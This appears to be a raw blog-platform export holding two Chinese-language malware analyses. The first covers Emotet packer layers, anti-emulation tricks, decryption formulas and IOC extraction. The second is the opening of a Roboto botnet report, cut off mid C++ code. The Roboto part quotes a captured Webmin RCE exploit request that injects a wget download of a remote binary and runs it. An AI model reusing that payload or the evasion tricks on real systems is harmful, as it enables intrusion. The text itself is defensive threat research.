VirtualProtect (lpAddress=00400000, dwSize=00000400, flNewProtect=00000004, lpflOldProtect=5ffffef8)
VirtualProtect (lpAddress=00400000, dwSize=00000400, flNewProtect=00000002, lpflOldProtect=5ffffef8)
VirtualProtect (lpAddress=00401000, dwSize=0000e000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00401000, dwSize=0000e000, flNewProtect=00000020, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=0040f000, dwSize=00001000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=0040f000, dwSize=00001000, flNewProtect=00000002, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00410000, dwSize=00005000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00410000, dwSize=00005000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00415000, dwSize=00001000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00415000, dwSize=00001000, flNewProtect=00000002, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00416000, dwSize=00001000, flNewProtect=00000004, lpflOldProtect=5ffffed8)
VirtualProtect (lpAddress=00416000, dwSize=00001000, flNewProtect=00000002, lpflOldProtect=5ffffed8)
GetModuleHandleA(lpModuleName=0x0040fb20:"KERNEL32.dll") = 0x70094000
VirtualProtect (lpAddress=0040f000, dwSize=00000008, flNewProtect=00000004, lpflOldProtect=5ffffecc)
GetProcAddress (hModule=0x70094000, lpProcName=0x0040fb06:"IsProcessorFeaturePresent") = 0x700eb6b5 => 0x00d51138
VirtualProtect (lpAddress=0040f000, dwSize=00000008, flNewProtect=00000000, lpflOldProtect=5ffffed4)
sha1 f52e80a79f3685b19fa6cd5fecb093ef3b1ae4da API log
这里可以看到更多完整的API日志.
IOC定位及提取
我们感兴趣的是C&C地址表和RSA密钥。通过仿真脱壳后扫描Payload特征码定位非常方便。
.text:00401FA1 68 00 80 00 00 push 8000h
.text:00401FA6 6A 6A push 6Ah
.text:00401FA8 68 D0 F8 40 00 push offset unk_40F8D0 <- RSA key
.text:00401FAD 6A 13 push 13h
.text:00401FAF 68 01 00 01 00 push 10001h
.text:00401FB4 FF 15 F4 05 41 00 call CryptDecodeObjectEx
RSA密钥相关代码
.text:004060C5 B8 C0 F3 40 00 mov eax, offset stru_40F3C0 <- C&C list
.text:004060CA A3 E0 26 41 00 mov off_4126E0, eax
.text:004060CF A3 E4 26 41 00 mov off_4126E4, eax
.text:004060D4 33 C0 xor eax, eax
C&C地址表相关代码
把上述代码转为特征码，通过写脚本来提取相关IOC信息。具体的实现代码点这里 | {"version":"0.3.1","atoms":[],"cards":[["code",{"code":" GetUserNameA(char *char_name, &pcbBuffer);\n if ( char_name[0] != 'J' || char_name[2] != 'H' || char_name[4] != 'D' )\n result = satrt_4011D0((int)char_J);\n else\n result = 0;\n"}],["code",{"code":"Unhooked function: GetDC (0x00000001)\nUnhooked function: VkKeyScanW (0x00000001)\nUnhooked function: IsClipboardFormatAvailable (0x00000001)\nUnhooked function: GetKeyboardType (0x00000001)\nUnhooked function: GetWindowContextHelpId (0x00000001)\nUnhooked function: DestroyCursor (0x00000001)\nUnhooked function: GetSystemPaletteUse (0x00000001)\nUnhooked function: IsIconic (0x00000001)\nUnhooked function: VkKeyScanA (0x00000001)\nUnhooked function: CreateSolidBrush (0x00000001)\nUnhooked function: IsWindowEnabled (0x00000001)\nUnhooked function: GetUserNameA (0x5fffff2c, 0x5fffff98)\nUnhooked function: GetStockObject (0x000011ab)\n"}],["code",{"code":"00401220: 8B45FC 7 mov eax,[ebp][-4]\n00401223: 83C001 add eax,1\n00401226: 8945FC mov [ebp][-4],eax \n00401229: 817DFCE5B20100 5 cmp d,[ebp][-4],00001B2E5\n00401230: 730A jnc .00040123C --↓6 \n00401232: 6A00 push 0 \n00401234: FF15E4074300 call GetTextAlign\n0040123A: EBE4 jmps .000401220 --↑7\n"}],["code",{"code":"RegOpenKeyA (hKey=0x80000000, lpSubkey=00430220:\"Interface\\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}\", pHandle=0x004312d0) = 0 => 00401083\nRegQueryValueExA (hKey=0x00000000, lpValueName=0x004312cc:\"\", lpReserved=0x00000000, lpValueType=0x5ffffefc, lpBuffer=5ffffe30:\"IActiveScriptParseProcedure32\", lpBufSize=5ffffef8:29) = 0 => 00401452\n"}],["code",{"code":"0041AA80 00 00 00 00 00 00 00 00 [00 48 01 00] [3F 39 39 39\n0041AA90 2F 39 33 34 72 66 73 65 54 64 67 66 51 31 31 31\n0041AAA0 17 31 32 63 5A 64 64 72 F7 30 31 00 06 00 6D 6E\n0041AAB0 F7 30 32 32 30 76 34 34 31 63 00 00 06 00 00 6E\n0041AAC0 23 6A 6B 31 1F 62 31 61 E8 65 45 78 C7 FF FF FF\n0041AAD0 E8 65 67 67 35 6C 65 <42> 50 F1 68 6E 74 E3 71 00\n0041AAE0 00 06 6C 73 74 D4 6B 65 6E C7 FF FF FF 06 00 00\n0041AAF0 00 06 00 6C 73 B2 71 63 61 9A 40 00 00 06 00 00\n0041AB00 00 06 00 00 56 9F 71 74 75 67 6C 50 72 69 74 65\n0041AB10 63 7A 00 00 00 53 6E 6D 61 56 56 69 65 51 4F 66\n...\n"}],["code",{"code":"decrypted[index] = (encrypted[index]+index)^(index+6)\n"}],["code",{"code":"00000000: 39 39 39 39-39 39 33 34-74 66 73 65-72 64 67 66 99999934tfserdgf\n00000010: 77 47 65 74-50 72 6F 63-41 64 64 72-65 73 73 00 wGetProcAddress \n00000020: 00 00 56 69-72 74 75 61-6C 41 6C 6C-6F 63 00 00 VirtualAlloc \n00000030: 00 00 00 4C-6F 61 64 4C-69 62 72 61-72 79 45 78 LoadLibraryEx\n00000040: 41 00 00 00-53 65 74 46-69 6C 65 50-6F 69 6E 74 A SetFilePoint\n00000050: 65 72 00 00-00 6C 73 74-72 6C 65 6E-41 00 00 00 er lstrlenA \n00000060: 00 00 00 00-00 00 6C 73-74 72 63 61-74 41 00 00 lstrcatA \n00000070: 00 00 00 00-00 00 00 56-69 72 74 75-61 6C 50 72 VirtualPr\n00000080: 6F 74 65 63-74 00 00 00-55 6E 6D 61-70 56 69 65 otect UnmapVie\n00000090: 77 4F 66 46-69 6C 65 00-00 47 65 74-4D 6F 64 75 wOfFile GetModu\n000000A0: 6C 65 48 61-6E 64 6C 65-41 00 57 72-69 74 65 46 leHandleA WriteF\n000000B0: 69 6C 65 00-00 00 00 00-00 00 00 43-6C 6F 73 65 ile Close\n000000C0: 48 61 6E 64-6C 65 00 00-00 00 00 00-56 69 72 74 Handle Virt\n000000D0: 75 61 6C 46-72 65 65 00-00 00 00 00-00 47 65 74 ualFree Get\n000000E0: 54 65 6D 70-50 61 74 68-41 00 00 00-00 00 43 72 TempPathA Cr\n000000F0: 65 61 74 65-46 69 6C 65-41 00 00 00-00 00 00 00 eateFileA \n...\n"}],["code",{"code":"001E45A7 jmp short 001E45B2\n001E45A9 mov eax, dword ptr [ebp-C]\n001E45AC add eax, 1\n001E45AF mov dword ptr [ebp-C], eax\n001E45B2 cmp dword ptr [ebp-C], 32DCD5 <- big number\n001E45B9 jnb short 001E45CD\n001E45BB push 58\n001E45BD push 0\n001E45BF lea ecx, dword ptr [ebp-68]\n001E45C2 push ecx\n001E45C3 call 001E3E20 <- trash call\n001E45C8 add esp, 0C\n001E45CB jmp short 001E45A9\n"}],["code",{"code":"decrypted[index] = (encrypted[index]+index)^(index+0x3E9)\n"}],["code",{"code":"00210000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ?\u0003...\u0004.\n00210010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ?......@.......\n00210020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\n00210030 00 00 00 00 00 00 00 00 00 00 00 00 D0 00 00 00 ............?..\n00210040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 \u000e\u001f?.???L?Th\n00210050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno\n00210060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS\n00210070 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode....$.......\n00210080 C5 0A 2F F1 81 6B 41 A2 81 6B 41 A2 81 6B 41 A2 ?/駚kAkAkA?\n00210090 88 13 D2 A2 82 6B 41 A2 81 6B 40 A2 80 6B 41 A2 ?尧俴Ak@kA?\n002100A0 8C 39 9E A2 80 6B 41 A2 8C 39 A1 A2 83 6B 41 A2 ?灑€kA9、僰A?\n002100B0 FC 12 A4 A2 A5 6B 41 A2 FC 12 9F A2 80 6B 41 A2 ?あAⅫ\u0012煝€kA?\n002100C0 52 69 63 68 81 6B 41 A2 00 00 00 00 00 00 00 00 Rich乲A?.......\n002100D0 50 45 00 00 4C 01 05 00 0A 37 7F 5D 00 00 00 00 PE..L\u0001\u0005\n\n"}],["code",{"code":"001E469D 5D pop ebp\n001E469E 58 pop eax\n001E469F 58 pop eax\n001E46A0 52 push edx ==> OEP 0040F072 \n001E46A1 C3 retn\n"}],["code",{"code":"GetModuleHandleA(lpModuleName=0x00000000:\"\") = 0x00400000\nUnhooked function: GetDC (0x00000001)\nUnhooked function: VkKeyScanW (0x00000001)\nUnhooked function: IsClipboardFormatAvailable (0x00000001)\nUnhooked function: GetKeyboardType (0x00000001)\nUnhooked function: GetWindowContextHelpId (0x00000001)\nUnhooked function: DestroyCursor (0x00000001)\nUnhooked function: GetSystemPaletteUse (0x00000001)\nUnhooked function: IsIconic (0x00000001)\nUnhooked function: VkKeyScanA (0x00000001)\nUnhooked function: CreateSolidBrush (0x00000001)\nUnhooked function: IsWindowEnabled (0x00000001)\nUnhooked function: GetUserNameA (0x5fffff2c, 0x5fffff98)\nUnhooked function: GetStockObject (0x000011ab)\n# patch to bypass trash code -> 0x00401229: \tcmp\tdword ptr [ebp - 4], 0x1b2e5\nUnhooked function: GetTextAlign (0x00000000)\n#Load Library:\"ADVAPI32\")\nLoadLibraryA (lpFileName=\"ADVAPI32\") = 70000000 => 0x00401046\nGetProcAddress (hModule=0x70000000, lpProcName=0x00430290:\"RegOpenKeyA\") = 0x7002c41b => 0x0040104d\nUnhooked function: LoadCursorW (0x00000000, 0x00000d05)\nRegOpenKeyA (hKey=0x80000000, lpSubkey=00430220:\"Interface\\{aa5b6a80-b834-11d0-932f-00a0c90dcaa9}\", pHandle=0x004312d0) = 0 => 00401083\n#Load Library:\"ADVAPI32\")\nLoadLibraryA (lpFileName=\"ADVAPI32\") = 70000000 => 0x00401251\nGetProcAddress (hModule=0x70000000, lpProcName=0x004302a8:\"RegQueryValueExA\") = 0x700ee5b3 => 0x00401258\nUnhooked function: SetErrorMode (0x00000002)\n#Load Library:\"KERNEL32\")\nLoadLibraryA (lpFileName=\"KERNEL32\") = 7009b000 => 0x004013e9\nGetProcAddress (hModule=0x7009b000, lpProcName=0x004302c8:\"GetModuleHandleA\") = 0x700e7f41 => 0x004013f0\nGetModuleHandleA(lpModuleName=0x00000000:\"\") = 0x00400000\nRegQueryValueExA (hKey=0x00000000, lpValueName=0x004312cc:\"\", lpReserved=0x00000000, lpValueType=0x5ffffefc, lpBuffer=5ffffe30:\"IActiveScriptParseProcedure32\", lpBufSize=5ffffef8:29) = 0 => 00401452\nVirtualAlloc (lpAddress=0x00000000, dwSize=0x00014800, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00d50434 => 0x00401a17\n# patch to bypass trash code -> 0x00d649e6: \tcmp\tdword ptr [ebp - 0xc], 0x32dcd5\nGetProcAddress (hModule=0x7009b000, lpProcName=0x5ffffe68:\"LoadLibraryExA\") = 0x700df7fa => 0x00d640ad\nUnhooked function: LoadLibraryExA (0x5ffffe78, 0x00000000, 0x00000000)\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d50434:\"99999934tfserdgfwGetProcAddress\") = 0x00000000 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d50445:\"GetProcAddress\") = 0x700ee3d3 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d50456:\"VirtualAlloc\") = 0x700edfb6 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d50467:\"LoadLibraryExA\") = 0x700df7fa => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d50478:\"SetFilePointer\") = 0x700e8b36 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d50489:\"lstrlenA\") = 0x700e5611 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d5049a:\"lstrcatA\") = 0x700e519f => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d504ab:\"VirtualProtect\") = 0x700dd341 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d504bc:\"UnmapViewOfFile\") = 0x700e8b13 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d504cd:\"GetModuleHandleA\") = 0x700e7f41 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d504de:\"WriteFile\") = 0x700ec400 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d504ef:\"CloseHandle\") = 0x700e7a7c => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d50500:\"VirtualFree\") = 0x700ecda4 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d50511:\"GetTempPathA\") = 0x70101a65 => 0x00d640f4\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d50522:\"CreateFileA\") = 0x700e7ee8 => 0x00d640f4\nGetProcAddress (hModule=0x7009b000, lpProcName=0x5ffffe78:\"VirtualAlloc\") = 0x700edfb6 => 0x00d64160\nVirtualAlloc (lpAddress=0x00000000, dwSize=0x00013880, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00d64c34 => 0x00d64173\nVirtualAlloc (lpAddress=0x00000000, dwSize=0x00019000, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00d784b4 => 0x00d6469b\nVirtualProtect (lpAddress=00001000, dwSize=0000f0a8, flNewProtect=00d50564, lpflOldProtect=5ffffe64)\nVirtualProtect (lpAddress=00011000, dwSize=00000b2e, flNewProtect=00d50544, lpflOldProtect=5ffffe64)\nVirtualProtect (lpAddress=00012000, dwSize=00004e60, flNewProtect=00d5054c, lpflOldProtect=5ffffe64)\nVirtualProtect (lpAddress=00017000, dwSize=00000004, flNewProtect=00d50544, lpflOldProtect=5ffffe64)\nVirtualProtect (lpAddress=00018000, dwSize=00000418, flNewProtect=00d50544, lpflOldProtect=5ffffe64)\nUnhooked function: LoadLibraryExA (0x00d89fd4, 0x00000000, 0x00000000)\nGetProcAddress (hModule=0x00000000, lpProcName=0x00d89fba:\"IsProcessorFeaturePresent\") = 0x700f26b5 => 0x00d64487\nUnhooked function: UnmapViewOfFile (0x00400000)\n#Invalid memory mapping (UC_ERR_MAP)\nVirtualAlloc (lpAddress=0x00400000, dwSize=0x00019000, flAllocationType=0x00003000, flProtect=0x00000040) = 0x00400000 => 0x00d647a8\n"}],["code",{"code":"# Load Library:\"NCOBJAPI.DLL\")\nNCOBJAPI.DLL is loaded @ 0x7041b000\nLoadLibraryExA (lpLibFileName=00402218 -> \"NCOBJAPI.DLL\") = 7041b000 => 0x004011ff\n# Load Library:\"KERNEL32.DLL\")\nLoadLibraryA (lpFileName=\"KERNEL32.DLL\") = 70094000 => 0x0040121a\nUnhooked function: MoveFileW (0x00402279, 0x00402288)\nUnhooked function: MoveFileW (0x00402279, 0x00402288)\nUnhooked function: MoveFileW (0x00402279, 0x00402288)\nVirtualAlloc (lpAddress=0x00000000, dwSize=0x000008d0, flAllocationType=0x00001000, flProtect=0x00000040) = 0x00d50628 => 0x00401347\n# Load Library:\"KERNEL32.DLL\")\nLoadLibraryA (lpFileName=\"KERNEL32.DLL\") = 70094000 => 0x00d50636\nGetProcAddress (hModule=0x70094000, lpProcName=0x00d50d8a:\"HeapAlloc\") = 0x00000000 => 0x00d50667\nGetProcAddress (hModule=0x70094000, lpProcName=0x00d50d94:\"HeapFree\") = 0x700dfbd0 => 0x00d50671\nGetProcAddress (hModule=0x70094000, lpProcName=0x00d50d9d:\"GetTickCount\") = 0x700dfa60 => 0x00d5067c\nVirtualAlloc (lpAddress=0x00000000, dwSize=0x000008d0, flAllocationType=0x00001000, flProtect=0x00000040) = 0x00d50ef8 => 0x00d50690\nVirtualAlloc (lpAddress=0x00000000, dwSize=0x00010000, flAllocationType=0x00001000, flProtect=0x00000004) = 0x00d517c8 => 0x00d514d8\nVirtualProtect (lpAddress=00400000, dwSize=00000400, flNewProtect=00000004, lpflOldProtect=5ffffef8)\nVirtualProtect (lpAddress=00400000, dwSize=00000400, flNewProtect=00000002, lpflOldProtect=5ffffef8)\nVirtualProtect (lpAddress=00401000, dwSize=0000e000, flNewProtect=00000004, lpflOldProtect=5ffffed8)\nVirtualProtect (lpAddress=00401000, dwSize=0000e000, flNewProtect=00000020, lpflOldProtect=5ffffed8)\nVirtualProtect (lpAddress=0040f000, dwSize=00001000, flNewProtect=00000004, lpflOldProtect=5ffffed8)\nVirtualProtect (lpAddress=0040f000, dwSize=00001000, flNewProtect=00000002, lpflOldProtect=5ffffed8)\nVirtualProtect (lpAddress=00410000, dwSize=00005000, flNewProtect=00000004, lpflOldProtect=5ffffed8)\nVirtualProtect (lpAddress=00410000, dwSize=00005000, flNewProtect=00000004, lpflOldProtect=5ffffed8)\nVirtualProtect (lpAddress=00415000, dwSize=00001000, flNewProtect=00000004, lpflOldProtect=5ffffed8)\nVirtualProtect (lpAddress=00415000, dwSize=00001000, flNewProtect=00000002, lpflOldProtect=5ffffed8)\nVirtualProtect (lpAddress=00416000, dwSize=00001000, flNewProtect=00000004, lpflOldProtect=5ffffed8)\nVirtualProtect (lpAddress=00416000, dwSize=00001000, flNewProtect=00000002, lpflOldProtect=5ffffed8)\nGetModuleHandleA(lpModuleName=0x0040fb20:\"KERNEL32.dll\") = 0x70094000\nVirtualProtect (lpAddress=0040f000, dwSize=00000008, flNewProtect=00000004, lpflOldProtect=5ffffecc)\nGetProcAddress (hModule=0x70094000, lpProcName=0x0040fb06:\"IsProcessorFeaturePresent\") = 0x700eb6b5 => 0x00d51138\nVirtualProtect (lpAddress=0040f000, dwSize=00000008, flNewProtect=00000000, lpflOldProtect=5ffffed4)\n"}],["code",{"code":".text:00401FA1 68 00 80 00 00 push 8000h\n.text:00401FA6 6A 6A push 6Ah\n.text:00401FA8 68 D0 F8 40 00 push offset unk_40F8D0 <- RSA key\n.text:00401FAD 6A 13 push 13h\n.text:00401FAF 68 01 00 01 00 push 10001h\n.text:00401FB4 FF 15 F4 05 41 00 call CryptDecodeObjectEx\n"}],["code",{"code":".text:004060C5 B8 C0 F3 40 00 mov eax, offset stru_40F3C0 <- C&C list\n.text:004060CA A3 E0 26 41 00 mov off_4126E0, eax\n.text:004060CF A3 E4 26 41 00 mov off_4126E4, eax\n.text:004060D4 33 C0 xor eax, eax\n"}]],"markups":[["a"],["a",["href","https://github.com/seth1002/tracecorn_tina/tree/master/samples/emotet/2019_0918"]],["i"],["a",["href","https://github.com/d00rt/emotet_research/blob/master/doc/EN_emotet_packer_analysis_and_config_extraction_v1.pdf"]],["a",["href","https://github.com/seth1002/tracecorn_tina/"]],["a",["href","https://github.com/seth1002/tracecorn_tina/blob/master/emotet_ioc_extractor.py"]]],"sections":[[3,"ul",[[[0,[0],1,"加载过程"]],[[0,[0],1,"Layer1"],[0,[],0," "],[0,[0],1,"Tricks"],[0,[],0," "],[0,[0],1,"解密Layer2"],[0,[],0," "]],[[0,[0],1,"Layer2"],[0,[],0," "],[0,[0],1,"Tricks"],[0,[],0," "],[0,[0],1,"解密Payload"],[0,[],0," "]],[[0,[0],1,"自动提取IOC"],[0,[],0," "],[0,[0],1,"对照分析"],[0,[],0," "],[0,[0],1,"IOC定位及提取"],[0,[],0," "]]]],[1,"h1",[[0,[],0,"加载过程 "]]],[1,"h4",[[0,[],0,"示例样本:"],[0,[1],1," ./emotet/2019_0918"]]],[3,"ul",[[[0,[],0,"Layer1解密Layer2和Payload代码并转入Layer2代码"]],[[0,[],0,"Layer2加载Payload转由Payload执行。"]]]],[1,"h1",[[0,[],0,"Layer1 "]]],[1,"h4",[[0,[],0,"Layer1会做一些简单的对抗并解密Layer2，最后把控制权交给Layer2。"]]],[1,"h2",[[0,[],0,"Tricks "]]],[1,"h3",[[0,[],0,"绕过特定用户"]]],[3,"ul",[[[0,[],0,"可能是针对某特定沙箱的用户名做对抗。当用户名第1个字符为J，第3个字符为H，第5个字符为D时直接退出。"]]]],[10,0],[1,"h3",[[0,[],0,"垃圾API调用"]]],[3,"ul",[[[0,[],0,"随机的API组合调用，使得基于API序列的检测方法失效"]]]],[10,1],[3,"ul",[[[0,[],0,"在超大循环中调用API(循环次数为0x00001B2E5，十万次数量级调用)，对抗基于API序列的检测。同时也可以对抗轻量级模拟器引擎的检测。"]]]],[10,2],[1,"h3",[[0,[],0,"检查注册表项"]]],[3,"ul",[[[0,[],0,"检测冷门的注册表键值是否存在，对抗轻量级模拟检测"]]]],[10,3],[1,"h2",[[0,[],0,"解密Layer2 "]]],[1,"h4",[[0,[],0,"加密状态的Layer2数据块在0x0041AA8C, 0x41AA88保存了数据块的长度0x14800。"]]],[3,"ul",[[[0,[],0,"第一轮解密算法中包含很多无效指令干扰分析，而算法本身非常简单。循环剔除每隔0x4B处的一个字节的数据，即下列数据中尖括号中的0x42。"]]]],[10,4],[1,"p",[[0,[2],1," 加密状态的Layer2"]]],[3,"ul",[[[0,[],0,"第二轮解密同样掺杂了大量无效指令，分析可以发现使用如下公式可以解密。"]]]],[10,5],[10,6],[1,"p",[[0,[2],1," 第二轮解密后的Layer2"]]],[1,"h1",[[0,[],0,"Layer2 "]]],[1,"h4",[[0,[],0,"Layer2解密Payload并把Payload映射到Layer1内存空间，最后把控制权交给Payload。"]]],[1,"h2",[[0,[],0,"Tricks "]]],[1,"h3",[[0,[],0,"垃圾指令"]]],[3,"ul",[[[0,[],0,"使用超大指令循环(循环次数为0x32DCD5=3333333，百万数量级)执行垃圾指令，对抗轻量级模拟引擎检测。"]]]],[10,7],[1,"h2",[[0,[],0,"解密Payload "]]],[1,"h4",[[0,[],0,"Layer2解密Payload的算法和Layer1第二轮解密的算法是一样的，只能在异或时的参数略有不同。"]]],[3,"ul",[[[0,[],0,"解密算法公式如下。"]]]],[10,8],[1,"h4",[[0,[],0,"解密后可以看到明显的PE文件特征，到此Payload解密完成。"]]],[10,9],[1,"h4",[[0,[],0,"完成解密后，Layer2会把Payload映射到主模块内存,最后通过push edx, retn来转入Payload代码入口0x0040F072。"]]],[10,10],[1,"h1",[[0,[],0,"自动提取IOC "]]],[1,"h2",[[0,[],0,"对照分析 "]]],[1,"h4",[[0,[],0,"利用上述思路我们分析了更多的样本，发现Layer1依然采用了之前的对抗技术"],[0,[3],1,"(参考d00rt的分析报告)"],[0,[],0,"，不同样本变形非常严重。想编写一个通用的脚本脱壳并提取IOC几乎不可能。奇怪的是Emotet放弃了Payload阶段一直使用的函数调用Hook技术，Layer2解密后就已经完成了脱壳，所以无需对Dump做额外的修复工作。我们尝试使用轻量级仿真技术来完成这一工作。"]]],[3,"ul",[[[0,[],0,"仿真工具："],[0,[4],1,"https://github.com/seth1002/tracecorn_tina/"]]]],[1,"h4",[[0,[],0,"可以看到仿真API日志显示，不同样本在展开Payload之前的行为差异非常大。"]]],[10,11],[1,"p",[[0,[2],1," sha1 4f3adc27bdbdc1235b9d997a251531e77a72088f API log"]]],[10,12],[1,"p",[[0,[2],1," sha1 f52e80a79f3685b19fa6cd5fecb093ef3b1ae4da API log"]]],[1,"h4",[[0,[],0,"这里可以看到更多"],[0,[1],1,"完整的API日志"],[0,[],0,"."]]],[1,"h2",[[0,[],0,"IOC定位及提取 "]]],[1,"h4",[[0,[],0,"我们感兴趣的是C&C地址表和RSA密钥。通过仿真脱壳后扫描Payload特征码定位非常方便。"]]],[10,13],[1,"p",[[0,[2],1,"RSA密钥相关代码"]]],[10,14],[1,"p",[[0,[2],1,"C&C地址表相关代码"]]],[1,"h4",[[0,[],0,"把上述代码转为特征码，通过写脚本来提取相关IOC信息。具体的实现代码"],[0,[5],1,"点这里"]]]],"ghostVersion":"3.0"} | 5dac97ff7646030007b2582d |
post | null | 2019-11-18T10:26:11.000Z | 63873b9a8b1c1e0007f52f5a | the-awaiting-roboto-botnet | 0 | 2022-02-09T07:10:51.000Z | public | published | null | 2019-11-20T04:27:53.000Z | 潜伏者：Roboto Botnet 分析报告 | <!--kg-card-begin: markdown--><h2 id="">背景介绍</h2>
<p>2019年8月26号，360Netlab未知威胁检测系统发现一个可疑的ELF文件(4cd7bcd0960a69500aa80f32762d72bc)，目前在VirusTotal上显示仅有2款杀毒引擎检测识别。通过详细分析，我们确定这是一款基于P2P通信的Bot程序，并对它保持关注。</p>
<p>2019年10月11号，我们通过Anglerfish蜜罐捕获到另一个可疑的ELF样本(4b98096736e94693e2dc5a1361e1a720)，并且正是那个可疑的ELF样本的Downloader。这个Downloader样本会从2个硬编码的HTTP链接中下载Bot程序，其中一个下载地址把这个Bot样本伪装成Google的一个字体库“roboto.ttc”，所以我们将这个Botnet命名为Roboto。</p>
<p>我们已经持续关注了Roboto Botnet近3个月的时间，并在本文披露它的一些技术特征。</p>
<h2 id="robotobotnet">Roboto Botnet概览</h2>
<p>目前，我们捕获到了Roboto Botnet的Downloader和Bot模块。根据它的传播方式和Bot样本特征，我们推测它还存在漏洞扫描模块和P2P控制模块。<br>
<a href="__GHOST_URL__/content/images/2019/11/Roboto.png"><img src="__GHOST_URL__/content/images/2019/11/Roboto.png" class="kg-image"/></a>Roboto Botnet主要支持7种功能：反弹Shell，自卸载，获取进程网络信息，获取Bot信息，执行系统命令，运行指定URL中的加密文件，DDoS攻击等。同时，它还使用Curve25519，Ed25519，TEA，SHA256，HMAC-SHA256等算法来保证自身组件和P2P网络的完整性和安全性，根据目标系统创建相应的Linux自启动脚本，并伪装自身的文件和进程名来实现持久化控制。</p>
<p>我们认为Roboto Botnet虽然具备DDoS功能，但是它并不是以DDoS为主要目的。我们也还没有捕捉到它的DDoS攻击指令，虽然从逆向样本分析的角度上看到Bot支持7种功能，但是我们也还不清楚它的真实目的。</p>
<h2 id="">传播方式</h2>
<p>2019年10月11号，我们通过Anglerfish蜜罐观察到<code>51.38.200.230</code>通过Webmin RCE漏洞(CVE-2019-15107)传播Roboto Downloader样本<code>4b98096736e94693e2dc5a1361e1a720</code>，其下载URL为<code>http://190.114.240.194/boot</code>，以下为漏洞利用Payload。</p>
<pre><code>POST /password_change.cgi HTTP/1.1
Host: {target}:10000
User-Agent: Go-http-client/1.1
Accept: */*
Referer: https://{target}:10000/session_login.cgi
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 270
user=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26%
</code></pre>
<p>我们可以看到，<code>51.38.200.230</code>开放了Webmin服务（TCP/10000），这跟它的扫描目标是一样的，所以我们猜测它是被Roboto Botnet感染后用来做网络扫描的。</p>
<h2 id="">逆向分析</h2>
<h3 id="robotodownloader">Roboto Downloader 样本分析</h3>
<ul>
<li>MD5: 4b98096736e94693e2dc5a1361e1a720</li>
</ul>
<blockquote>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped<br>
Library: musl-libc</p>
</blockquote>
<p>Roboto Downloader的主要功能是根据受害者机器的CPU架构，从指定的URL下载相应加密的Roboto Bot程序，然后解密并执行。</p>
<p>目前，Roboto Downloader支持i386和x86_64俩种架构<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_arch.png"><img src="__GHOST_URL__/content/images/2019/11/rob_arch.png" class="kg-image"/></a></p>
<p>Roboto Downloader样本硬编码URL里存储着加密后的Roboto Bot程序，如图所示每组URL都有对应的解密Key和SHA256校验值<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_res_2.png"><img src="__GHOST_URL__/content/images/2019/11/rob_res_2.png" class="kg-image"/></a></p>
<p>以image2.jpg为例，它的SHA256哈希值是和Roboto Downloader样本中硬编码的SHA256哈希值是一致的<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_res_sha256.png"><img src="__GHOST_URL__/content/images/2019/11/rob_res_sha256.png" class="kg-image"/></a></p>
<p>解密算法如下，Key长度为８字节，每一轮会计算新的XOR Key<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_xor.png"><img src="__GHOST_URL__/content/images/2019/11/rob_xor.png" class="kg-image"/></a></p>
<p>解密后，就得到了Roboto Bot样本。<br>
<a href="__GHOST_URL__/content/images/2019/11/rob_dec.png"><img src="__GHOST_URL__/content/images/2019/11/rob_dec.png" class="kg-image"/></a></p>
<p>当不知道初始XOR Key时，利用XOR加密算法的特性，根据elf_header[0x8:0xf]值常为0的特点，可以使用如下方法解密Bot文件。</p>
<pre><code class="language-c++"> fstream file(filename, ios::binary | ios::in);
file.read((char*)fstr.data(), fsize);
file.close();
string skey(fstr, 8, 8);
